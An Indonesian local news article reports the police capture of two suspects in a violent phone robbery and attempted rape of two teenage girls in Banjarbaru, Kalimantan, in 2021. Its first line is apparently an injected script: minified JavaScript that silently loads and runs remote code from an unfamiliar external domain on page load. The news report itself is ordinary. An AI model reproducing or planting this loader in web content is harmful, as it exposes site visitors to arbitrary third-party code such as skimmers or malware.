(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Polsek Banjarbaru bersama tim Macan Kalsel dari Unit Resmob Ditreskrimum Polda Kalsel, berhasil melumpuhkan dua tersangka kasus begal dan percobaan pemerkosaan, Kamis (30/9/2021). Dua tersangka berinisial S (40) dan P (31) terpaksa dilumpuhkan dengan tembakan pada kedua kakinya karena mencoba melawan petugas saat hendak diamankan.
Direktur Reserse Kriminal Umum Polda Kalsel, Kombes Hendri Budiman melalui Kasubdit 3 Jatanras, AKBP Andy Rahmansyah mengatakan, tersangka S dan P dibekuk sekitar pukul 3.00 Wita, di Jalan Lingkar Utara, Kelurahan Landasan Ulin Barat, Kecamatan Landasan Ulin, Kota Banjarbaru.
AKBP Andy menjelaskan, kasus pencurian dengan kekerasan tersebut terjadi Jumat (24/9/2021) pukul 21.00 Wita.
“Saat itu korban yakni dua gadis berinisial RFA (16) dan AF (16) warga Kota Banjarbaru yang masih berstatus sebagai pelajar saat naik motor langsung dipepet oleh kedua pelaku dan menghentikannya di pinggir jalan. Tersangka mengancam dengan parang agar korban menyerahkan HP miliknya,” jelasnya.
Baca juga: TOK! PTUN Banjarmasin Menangkan Gugatan Class Action Korban Banjir Kalsel!
Karena korban menolak, tersangka menyerang RDF dan AF hingga mengalami luka di jari tangan serta jari kaki.
“Teganya lagi, setelah berhasil merampas HP korban, kedua tersangka juga mencoba memperkosa salah satu korban di lokasi kejadian,” kata AKBP Andy.
Namun karena korban terus melawan, kedua tersangka mengurungkan niatnya untuk menggagahi korban dan selanjutnya melarikan diri. Kasus ini pun kemudian dilaporkan ke polisi. Dan tak beberapa lama kemudian, tim gabungan melakukan penyelidikan dapat memetakan keberadaan tersangka.
Dari hasil interogasi awal, tersangka P diketahui merupakan residivis begal yang baru enam bulan bebas dari LP atas kasus sama. Kini, tersangka P dan S diamankan di Mapolsek Banjarbaru Barat untuk diproses hukum lebih lanjut.
Dari pengungkapan kasus ini, Polisi mengamankan pula sejumlah barang bukti di antaranya, dua unit HP milik korban, satu unit motor, dan satu sajam jenis parang yang digunakan tersangka S dan P saat melancarkan aksi begal.
Baca juga: Dilarang, Dua ASN Mau Jadi Istri Kedua, Malah Kena Pecat
Tak cuma berhasil menangkap kedua tersangka pelaku, polisi juga berhasil mengamankan tersangka berinisial AS (39) yang merupakan penadah barang curian di Kecamatan Bati-Bati, Kabupaten Tanah Laut, Provinsi Kalsel. (Kanalkalimantan.com/Ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.